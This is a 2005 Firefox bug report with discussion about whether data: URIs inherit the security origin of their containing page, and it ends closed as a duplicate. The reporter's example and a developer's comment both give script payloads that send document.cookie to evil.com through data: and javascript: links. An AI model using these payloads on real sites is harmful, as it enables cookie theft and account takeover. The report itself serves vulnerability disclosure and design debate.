296871 - domain of data: URI is domain of container document

Status: RESOLVED DUPLICATE of bug 255107

(Firefox :: Security, defect)

Description

[Lucas Gonze]

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4

This is a cross site scripting attack which only applies to Firefox, not IE or
any other browsers as far as I know.  It is somewhat arguable that this is not a
problem which should be fixed in the browser.  I have verified that this exists
in FF 1.0.4, and have not found another report of the same issue in the bug
database.

It's easiest to explain with an example:
<a
href="data:text/html,<script>document.location.href='http://evil.com?'+document.cookie</script>">.</a>

That uses the data: URI scheme per RFC 2397 to pass cookies from one site to
another.  An attacker would look for sites with confidential cookies that
allowed user-submitted data: URIs to be emitted within its own HTML.

The attack works by exploiting an ambiguity in RFC 2397 with regard to the
Javascript same-origin security policy -- what is the origin of a URI?  Is it
the containing page?  If so, preventing this attack is the responsibility of
site maintainers.  If not, FF should launch the child of a data: URI without
same-origin privileges.

Please let me know how you decide to handle this, because I should publish a
warning to other site maintainers.  Thanks.

Reproducible: Always

Steps to Reproduce:
1. create a cgi script which returns the cookie "confidentialdata=thisisprivate"
and HTML containing the following: <a
href="data:text/html,<script>document.location.href='http://evil.com?'+document.cookie</script>">.</a>

2. load the URI of that script in the browser
3. you will be directed to an external domain (e.g. evil.com) with your
confidential cookie passed in the query. 

Actual Results:  
You go to http://evil.com?...your confidential cookie here...

Expected Results:  
You should have gone to http://evil.com?...blank query string...

Comment 1

[Hixie (not reading bugmail)]

I don't think this is a bug. It's like looking for sites that accept
user-submitted HTML or javascript:, IMHO.

Comment 2

[Mike Connor [:mconnor]]

This has nothing to do with same-origin holes since the script is executing in
the context of that page only.  javascript: and data: URLs in the context of a
page should execute within that document's security context, not in some
arbitrary limbo state.  If the web app lets arbitrary URLs be added without
filtering, you could do a lot of evil things.  JS/HTML injection aren't terms
without meaning in the web-app world.

Cookies aren't secured on the client side in any browser (they're plaintext in
IE and Mozilla at present), and as such, confidential data shouldn't really be
stored in them at all, especially in the age of bundled spyware and viruses.  If
you want to write a secure web app, you need to be aware of all aspects of the
security solution.

FWIW, your example works with javascript: URLs, which are supported in all
browsers. 
(javascript:document.location.href="http://evil.com/evilscript?"+document.cookie)

Comment 3

[Lucas Gonze]

This:
> I don't think this is a bug. 

doesn't follow from this:
> It's like looking for sites that accept
> user-submitted HTML or javascript:, IMHO.

It's true that this is about cross-site scripting attacks, but that fact doesn't
tell us whether the fix should be on in the browser or site.  To decide whether
the fix should be in the browser or site, the issue is whether the origin (in a
security sense) is the containing page.  

In this message I'm not making an argument one way or the other, I'm just trying
to clarify.

Comment 4

[Lucas Gonze]

(In reply to comment #2)
> This has nothing to do with same-origin holes since the script is executing in
> the context of that page only.  javascript: and data: URLs in the context of a
> page should execute within that document's security context, not in some
> arbitrary limbo state.

If it weren't for legacy support, javascript URIs probably shouldn't execute in
the document's security context.  The purpose of a URI is to be a global object
which means the same thing everywhere on the internet.  If it's scoped to a
containing document then it is not global any more.

> If the web app lets arbitrary URLs be added without
> filtering, you could do a lot of evil things.  JS/HTML injection aren't terms
> without meaning in the web-app world.

I agree that this is an issue of JS/HTML injection.  As I said in my reply to
Ian, though, figuring out how FF should handle it means figuring out the scope
of a URI.

Comment 5

[Mike Connor [:mconnor]]

This isn't a new issue, and these choices were made a long time ago.  Its too
late to put the genie back in the bottle, so site authors need to be aware of
the various injection attacks.

Comment 6

[Daniel Veditz [:dveditz]]

Attachment: example from bug text (for convenience)

Comment 7

[Daniel Veditz [:dveditz]]

data: urls inheriting the origin of their referrer allows them to be used to
generate <iframe> or window content with which the parent can interact. Gecko
has always done it this way (and we've got a lot of security checks scattered
around that have to worry about it).

I don't believe any released version of IE supports data: at all (though it's
been promised for IE 7) so arguing from their implementation isn't that useful.

I thought Opera treated it the way we did, but apparently not (I tried the
testcase in 8.0). As useful as the current behavior is browser consistency is
better for developers. We need to take this up in a multi-vendor forum.

Comment 8

[Mike Connor [:mconnor]]

dveditz, I think in the absence of a multi-vendor answer we can stick with our
existing structure for 1.8.

Comment 9

[Jesse Ruderman]

See also bug 255107, "Prevent data: URLs from being used for XSS".

Comment 10

[Jesse Ruderman]

*** This bug has been marked as a duplicate of 255107 ***